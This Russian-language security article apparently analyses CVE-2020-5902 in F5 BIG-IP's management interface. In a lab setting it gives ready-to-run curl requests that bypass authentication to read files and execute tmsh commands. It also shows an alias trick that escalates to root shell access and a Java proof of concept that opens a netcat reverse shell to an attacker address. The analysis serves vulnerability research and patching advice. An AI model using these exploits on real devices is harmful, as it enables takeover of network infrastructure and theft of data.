В составе BIG-IP есть разные модули, которые работают под управлением операционной системы TMOS. Один из них — Local Traffic Manager (LTM) — обрабатывает трафик приложений, обеспечивает безопасность сетевой инфраструктуры и локальную балансировку нагрузки. LTM можно гибко настраивать, в том числе при помощи веб-интерфейса TMUI (Traffic Management User Interface). В нем и нашли уязвимость.
Точнее, нашел Михаил Ключников из Positive Technologies. Баг существует из-за некорректной нормализации URI при обработке запросов. Злоумышленник может обойти аутентификацию в Traffic Management User Interface и использовать функции системы, которые предназначены только для администратора. В результате этого атакующий может выполнять произвольные команды на целевой системе от суперпользователя, а это означает полную компрометацию сервера.
Баг получил номер CVE-2020-5902 и 10 из 10 баллов критичности по CVSS. Уязвимость присутствует в BIG-IP версий с 15.0.0 по 15.1.0.3, с 14.1.0 по 14.1.2.5, 13.1.0–13.1.3.3, 12.1.0–12.1.5.1 и 11.6.1–11.6.5.1.
Так как продукт коммерческий, простого докер-контейнера в этот раз не будет. Самый легкий способ поднять стенд — это скачать тридцатидневную пробную версию BIG-IP VE (Virtual Edition). Для этого нужен аккаунт, который можно создать на сайте F5. После подтверждения можно будет переходить в раздел загрузок.
Нам нужна последняя уязвимая версия, это — 15.1.0.3. BIG-IP распространяется в нескольких вариантах, нас интересует образ виртуальной машины в формате OVA. Перед загрузкой предложат выбрать удобное зеркало.
Также можешь попробовать воспользоваться моей ссылкой для скачивания образа. Не могу сказать, сколько она проживет, но пока отлично работает.
После этого импортируем скачанный образ в свою программу виртуализации. Я буду использовать VMware, но и VirtualBox отлично с этим справится.
После успешного импорта загружаем виртуалку. Через некоторое время видим приглашение для авторизации.
По дефолту пароль для суперпользователя — default
(тебе сразу предложат его сменить). Теперь можно посмотреть IP-адрес виртуалки.
Открываем браузер и переходим на этот IP. Видим форму авторизации Traffic Management User Interface.
Стенд готов.
Вернемся в консоль. Посмотрим, что за веб-сервер слушает 443-й порт.
netstat -lnpe | grep 443
Это обычный демон httpd
, но очевидно, что он используется просто как фронтенд для проксирования запросов куда-то дальше. Поищем среди конфигурационных файлов директивы ProxyPass
.
grep -iR ProxyPass /etc/httpd
Нашлось много интересного в файле /etc/httpd/conf.d/proxy_ajp.conf
.
...
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
...
И название, и содержимое файла наводят на мысль, что запросы переправляются к веб-серверу Tomcat по протоколу AJP. О нем я уже писал в статье про уязвимость в Tomcat.
Но сейчас проблема не в этом. Нам нужно посмотреть на то, как передается URI к Tomcat. Здесь стоит обратиться к большому исследованию Оранжа Цая о нормализации путей в различных приложениях, которое он представил на Black Hat USA 2018 и DEF CON 26 (PDF). Там есть раздел о Tomcat, где конструкция /..;/
используется для выхода из директории, обхода некоторых правил и получения доступа к файлам с важной информацией. Это возможно потому, что веб-сервер воспринимает конструкцию /..;/
как имя папки, а Tomcat интерпретирует его в качестве относительного пути — вверх по дереву в родительскую директорию.
Чтобы проверить, работает ли этот баг в нашем случае, попробуем прочитать какой-нибудь файл, доступ к которому в обычных условиях запрещен. Список таких можно посмотреть, например, в конфиге TMUI — /usr/local/www/tmui/WEB-INF/web.xml
.
<servlet-mapping>
<servlet-name>org.apache.jsp.dashboard.viewset_jsp</servlet-name>
<url-pattern>/dashboard/viewset.jsp</url-pattern>
</servlet-mapping>
Попробуем его просмотреть простым запросом.
curl -k "https://192.168.31.140/tmui/dashboard/viewset.jsp" -is
В ответ получаем редирект на страницу авторизации. А теперь сделаем это при помощи конструкции /..;/
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/dashboard/viewset.jsp" -is
Скрипт viewset.jsp
отрабатывает успешно, и сервер возвращает результат.
Теперь мы можем читать любые страницы и выполнять сервлеты, которые не проверяют сессию пользователя внутри себя.
Давай посмотрим, что можно откопать в дебрях TMUI. Все самое интересное лежит в директории /usr/local/www/tmui/WEB-INF/
. Здесь же находятся и сами сервлеты, в откомпилированном виде. В связи с этим мне понадобится JD-GUI. Чтобы было проще, советую просто заархивировать директорию /usr/local/www/tmui/WEB-INF/
в формате ZIP и открыть в JD-GUI.
А список эндпойнтов, как мы уже выяснили, можно найти в файле /usr/local/www/tmui/WEB-INF/web.xml
. Их очень много, поэтому приведу здесь несколько наиболее интересных, которые были найдены после релиза уязвимости в паблик.
Первый — /tmui/locallb/workspace/fileRead.jsp
.
...
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/fileRead.jsp</url-pattern>
</servlet-mapping>
...
01: package WEB-INF.classes.org.apache.jsp.tmui.locallb.workspace;
...
26: public final class fileRead_jsp extends HttpJspBase implements JspSourceDependent {
...
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77: String fileName = WebUtils.getProperty(request, "fileName");
78: try {
79: JSONObject resultObject = WorkspaceUtils.readFile(fileName);
80: out.print(resultObject.toString());
Этот сервлет позволяет читать произвольные файлы, если передать в параметре fileName
. Пробуем прочитать каноничный /etc/passwd
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" -is
Успех, сервер возвращает содержимое файла.
Из интересных файлов, которые можно прочитать, стоит отметить:
/etc/hosts
— здесь можно узнать IP-адреса инфраструктуры BIG-IP;/config/bigip.conf
— здесь находятся переменные конфигурации BIG-IP;/config/bigip.license
— тут можно почерпнуть информацию о текущей лицензии BIG-IP.Список можно продолжать — я уверен, ты знаешь еще пару десятков заманчивых файлов, которые только и ждут того, чтобы их прочитали. А чтобы было еще проще, на помощь нам приходит следующий интересный сервлет — /tmui/locallb/workspace/directoryList.jsp
.
...
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/directoryList.jsp</url-pattern>
</servlet-mapping>
...
На вход он принимает параметр directoryPath
, а на выходе, как ты уже догадался, выдает листинг указанной директории.
26: public final class directoryList_jsp extends HttpJspBase implements JspSourceDependent {
...
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77: String directoryPath = WebUtils.getProperty(request, "directoryPath");
78: try {
79: JSONObject resultObject = WorkspaceUtils.listDirectory(directoryPath);
80: out.print(resultObject);
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/tmui/WEB-INF/lib/" -s
Причем содержимое директорий выводится рекурсивно.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/error/" -s
Но если скрипту попадаются файлы или папки, которые текущий пользователь не может прочитать, то сервер вернет 500 Internal Server Error.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/etc/httpd" -s
Как ты успел заметить, все эти методы чтения файлов и директорий вызываются вот из этого класса:
com.f5.tmui.locallb.handler.workspace.WorkspaceUtils
И если поведение WorkspaceUtils.listDirectory
и WorkspaceUtils.readFile
было вполне понятным, то в следующем сервлете нам придется заглянуть в этот класс, чтобы лучше разобраться в особенностях его работы. Класс WorkspaceUtils располагается в файле .jar по такому пути:
/usr/local/www/tmui/WEB-INF/lib/tmui.jar
Декомпилируем его с помощью все той же JD-GUI, если ты еще этого не сделал.
Переходим к наиболее интересному сервлету — /tmui/locallb/workspace/tmshCmd.jsp
.
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/tmshCmd.jsp</url-pattern>
</servlet-mapping>
28: public final class tmshCmd_jsp extends HttpJspBase implements JspSourceDependent {
...
63: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
81: String cmd = WebUtils.getProperty(request, "command");
82: if (cmd == null || cmd.length() == 0) {
83: logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));
84: } else {
85: JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);
86: tmshResult = resultObject.toString();
Здесь на вход принимается параметр command
, который затем передается в метод WorkspaceUtils.runTmshCommand
. Так как мы декомпилировали этот класс, то посмотрим, что делает runTmshCommand
.
01: package com.f5.tmui.locallb.handler.workspace;
...
31: public class WorkspaceUtils {
...
46: public static JSONObject runTmshCommand(String command) {
...
51: String operation = command.split(" ")[0];
...
53: try {
54: String[] args = { command };
55: Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
56: output = result.getOutput();
57: error = result.getError();
Здесь происходит парсинг строки, которую мы передавали в command
, и затем вызов Syscall.callElevated
. Как видно из названия, этот метод вызывает команду Syscall.TMSH
с повышенными привилегиями.
13: import com.f5.mcp.schema.ltm.ShellCommandT;
...
78: public static final int TMSH = ShellCommandT.SC_TMSH.intValue();
Класс com.f5.mcp.schema.ltm.ShellCommandT
находится в файле f5.rest.mcp.schema.jar
. Декомпилируем и заглядываем в него.
01: package com.f5.mcp.schema.ltm;
...
05: public class ShellCommandT extends SchemaEnum {
...
70: public static final ShellCommandT SC_TMSH = new ShellCommandT("SC_TMSH", 32L);
...
94: protected ShellCommandT(String tokenName, long tokenValue) {
95: super("shell_command_t", tokenName, tokenValue);
96: }
TMSH (Traffic Management SHell) — это bash-подобная утилита для администрирования BIG-IP. В ней можно автоматизировать команды и процессы, создавать собственные команды или наборы команд, выполнять кастомные скрипты на TCL, использовать разные сценарии поведения сервера, вплоть до его перезагрузки и полного выключения. Очень интересные возможности, не правда ли? 🙂 А если учесть, что все это делается с привилегиями суперпользователя, то этот сервлет становится лакомым кусочком при эксплуатации уязвимости.
162: public static Result callElevated(int command, String[] args) throws CallException {
163: return call(command, args, true);
164: }
...
186: private static Result call(int command, String[] args, boolean elevated) throws CallException {
...
203: Connection c = null;
204: try {
...
206: c = ConnectionManager.instance().getConnection();
...
209: c.setUser(UsernameHolder.getUser().getUsername(), (!elevated && !UsernameHolder.isElevated()), false);
210: ObjectManager om = new ObjectManager((SchemaStructured)LtmModule.ShellCall, c);
211: DataObject query = om.newObject();
212: query.put((SchemaAttribute)ShellCall.COMMAND, command);
213: query.put((SchemaAttribute)ShellCall.ARGS, parameters);
214: query.put((SchemaAttribute)ShellCall.USER, UsernameHolder.getUser().getUsername());
215: DataObject[] rs = om.queryStats(query);
216: if (rs != null && rs.length > 0)
217: return new Result(rs[0].getInt((SchemaAttribute)ShellCall.RETURN_CODE), rs[0].getString((SchemaAttribute)ShellCall.RESULTS), rs[0].getString((SchemaAttribute)ShellCall.ERRORS));
Давай попробуем вывести список администраторов BIG-IP. Это делается при помощи команды tmsh list auth user admin
.
Теперь сделаем то же самое, только через уязвимость.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin" -s
Но это не все! Если немного углубиться в документацию TMSH, то можно обнаружить интересную команду bash
модуля util
.
Эта команда делает именно то, что от нее ожидаешь, — вызывает bash в необходимом контексте. Здесь есть все те же флаги, что и в обычном bash.
Любые команды из модуля util
можно вызывать как при помощи run
, так и прямо из командной строки.
run /util bash -c id
bash -c id
Однако, если попробовать выполнить любой из вариантов через уязвимость, в ответ сервер вернет ошибку Rejected Tmsh Command
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=bash+-c+id" -s
Это происходит из-за того, что перед тем, как выполнить TMSH-команду, сервлет tmshCmd_jsp
производит несколько проверок.
52: if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify"))) {
Метод ShellCommandValidator.checkForBadShellCharacters
проверяет наличие запрещенных символов в строке. В расстрельный список попали:
& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r
24: public static boolean checkForBadShellCharacters(String value) {
25: char[] cArray = value.toCharArray();
26: for (int i = 0; i < cArray.length; i++) {
27: char c = cArray[i];
28: if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r')
29: return true;
30: }
31: return false;
32: }
Но это не главная проблема. Что действительно уменьшает область действия, так это вторая часть условия — проверка выполняемой операции.
operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")
Как видишь, возможно выполнить только четыре команды TMSH: create
, delete
, list
и modify
. И здесь на помощь приходят алиасы. Как и в bash, в TMSH можно создать псевдонимы (alias) для команды, чтобы каждый раз не набирать ее. За это отвечает модуль cli alias. Алиасы бывают двух типов — shared
и private
. Они отличаются областью видимости — первые доступны внутри всей системы, вторые ограничены текущим пользователем. Посмотреть список псевдонимов можно с помощью команды list
, удалить — delete
, а создать новый при помощи create
.
Думаю, ты уже догадываешься, к чему я веду. Нужно создать псевдоним для команды bash
, в качестве имени которого указать любую из четырех разрешенных операций. Только советую делать область видимости private
и удалять псевдоним сразу после выполнения необходимой команды, чтобы не мешать нормальной работе системы. Итак, план действий следующий.
Командой create cli alias private modify command bash
создаем в зоне видимости пользователя алиас с именем modify
, который будет вызывать команду bash
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+modify+command+bash" -s
Теперь modify -c id
выполнит необходимую команду. В моем случае это id
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+-c+id" -s
Затем delete cli alias private modify
— удаляем созданный алиас во избежание проблем.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+modify" -s
Такую последовательность легко автоматизировать. Готовые решения ты с легкостью сможешь найти на просторах GitHub. Существует даже готовый модуль для Metasploit.
К слову, этот способ RCE был найден позднее. Михаил же в своем репорте предлагает более интересный метод выполнения команд — через базу данных HyperSQL. Давай заодно посмотрим, как это делается.
В BIG-IP используется база данных HyperSQL. Запросы к сервлету, который с ней работает, httpd
проксируют по URI /hsqldb
.
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
Конечно же, этот адрес доступен только после авторизации, но ты уже знаешь, как это обойти.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/hsqldb/" -s
HyperSQL позволяет работать с базой данных по протоколу HTTP(S). Подключение описано в документации. По дефолту используется пользователь SA и пустой пароль.
Теперь давай накидаем PoC, который будет делать какие-нибудь простые запросы к БД. Для начала нужно скачать правильную библиотеку HSQLDB (ZIP). Затем пропишем в hosts строку
192.168.31.140 localhost.localdomain
Разумеется, IP должен быть твоей виртуалки! 🙂 Это нужно, чтобы не возиться с SSL-сертификатами в Java. Далее в качестве URL для коннекта к базе данных указываем адрес с байпасом авторизации.
01: package com.f5rce;
02:
03: import java.sql.*;
04: import java.lang.*;
05: import java.util.Properties;
06:
07: public class Main {
08:
09: public static void main(String[] args) throws Exception {
10: Class.forName("org.hsqldb.jdbcDriver");
11: String connectionURL = "jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3b/hsqldb/";
Теперь имя пользователя и пароль.
12: Properties props = new Properties();
13: props.setProperty("user","SA");
14: props.setProperty("password","");
Подключаемся к БД.
15: try {
16: Connection c = DriverManager.getConnection(connectionURL, props);
17: Statement stmt = null;
18: ResultSet result = null;
Теперь выполняем простенький запрос
SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS
19: stmt = c.createStatement();
20: result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
Получаем результат и выводим в консоль.
21: while (result.next()) {
22: System.out.println("Got result: " + result.getString(1));
23: }
24: result.close();
25: stmt.close();
26: } catch (SQLException e) {
27: e.printStackTrace();
28: }
Если внимательно просмотреть документацию к базе данных, то можно обнаружить любопытную функцию CALL, которая позволяет вызывать внешние функции Java.
Сначала проверим classpath
— пути, откуда подгружаются библиотеки:
CALL "java.lang.System.getProperty"('java.class.path')
20: result = stmt.executeQuery("CALL \"java.lang.System.getProperty\"('java.class.path')");
Аналогичные пути использует Tomcat. Это хорошо, так как список потенциально опасных методов довольно обширен. Среди этого многообразия нужно найти метод с модификатором static
, то есть тот, который можно вызывать без создания объекта класса. Михаил обнаружил подходящий:
com.f5.view.web.pagedefinition.shuffler.Scripting#setRequestContext
Он находится в файле /usr/local/www/tmui/WEB-INF/classes/tmui.jar
, который мы уже декомпилировали.
01: package com.f5.view.web.pagedefinition.shuffler;
...
12: public class Scripting {
13: static {
14: Properties props = new Properties();
15: System.setProperty("java.ext.dirs", "/usr/local/www/tmui/WEB-INF/lib/");
16: System.setProperty("java.class.path", System.getProperty("java.class.path") + ":/usr/local/www/tmui/WEB-INF/classes");
...
45: public static void setRequestContext(String object, String screen) {
46: PyObject current = getInterpreter().eval(object + "__" + screen + "()");
47: currentObject.set(current);
48: }
Этот метод выполняет код Jython и возвращает объект типа org.python.core.PyObject. Jython — это реализация языка Python на Java, поэтому нужно использовать его конструкции. Будем выполнять код при помощи Runtime.getRuntime().exec()
. Для нашего удобства в BIG-IP по дефолту установлен netcat с поддержкой флага -e
. Делаем через него бэкконнект.
20: result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" +
21: "\"('Runtime.getRuntime().exec(\"nc 192.168.31.12 1337 -e /bin/bash\")#','#')");
Рассмотренная уязвимость в очередной раз доказывает, что даже такая незначительная проблема, как некорректная нормализация пути, ведет к серьезным последствиям. Знание инфраструктуры приложения и возможности входящих в его состав инструментов позволили полностью захватить контроль над машиной BIG-IP. И думаю, нет смысла объяснять, какие проблемы может вызвать скомпрометированная система, через которую ходит весь сетевой трафик.
После получения деталей уязвимости разработчики F5 предложили ряд временных решений до выхода полноценного патча. К сожалению, некоторые из них оказались неэффективными и не позволяют в должной мере защититься от злоумышленников. Поэтому лучше всего обновляться до версии приложения, где проблема полностью исправлена.
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…